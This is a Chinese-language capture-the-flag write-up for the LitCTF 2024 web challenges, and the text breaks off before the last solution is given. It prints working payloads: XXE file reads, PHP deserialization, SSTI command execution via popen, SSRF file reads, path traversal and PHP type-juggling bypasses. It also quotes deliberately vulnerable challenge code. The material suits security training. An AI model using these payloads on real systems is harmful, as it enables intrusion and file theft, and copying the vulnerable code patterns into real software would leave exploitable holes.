LitCTF 2024

WEB

exx

无过滤 xml 注入

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE a [ 
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username><password>123</password></user>

SAS - Serializing Authentication

入门级反序列化

<?php

class User {

    public $username;

    public $password;

    function __construct($username, $password) {

        $this->username = $username;

        $this->password = $password;

    }

    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

?>

直接赋值账号密码即可通过检查，题目会对其 base64 解码，所以传入 base64 加密后的代码

exp：

<?php
class User {
    public $username;
    public $password;
}
        $a=new User();
        $a->username="admin";
        $a->password="secure_password";
        echo base64_encode(serialize($a));
?>
# O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:15:"secure_password";}

一个…池子？

尝试输入49回显了 49，证明存在 ssti 注入

{{''.__class__.__base__.subclasses__()}}可以查询所有子类结果，这里用脚本爆破想要的函数

#post请求
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36'
}

for i in range(501):
    url = "xxx"
    postPara = {"input":"{{\"\".__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    print(i)
    res = requests.post(url=url,headers=headers,data=postPara)
    if 'os._wrap_close' in res.text: #查找其他命令时就用其他子类
        print("be founded in:"+str(i))
        break
else:
    print("not found")
# 得到编号为137

无过滤，直接拿 flag 即可

Payload:

{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['popen']('tac /flag').read()}}

浏览器也能套娃？

ssrf，伪协议读取 flag

file:///flag

高亮主题(划掉)背景查看器

<?php

// 文件包含漏洞演示

if (isset($_GET['url'])) {

    // 读取并包含用户输入的文件

    $file = $_GET['url'];

    if (strpos($file, '..') === false) {

        include $file;

    } else {

        echo "Access denied.";

    }

} else {

    echo "No file specified.";

}

?>

无过滤文件包含，路径穿越直接读取

payload:

post：theme=../../../../../../flag

百万美元的诱惑

<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}

abc 都可以采用数组绕过，payload：?a[]=1&b[]=2&c[]=3

拿到并访问 dollar.php，发现需要绕过过滤构造出 12

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>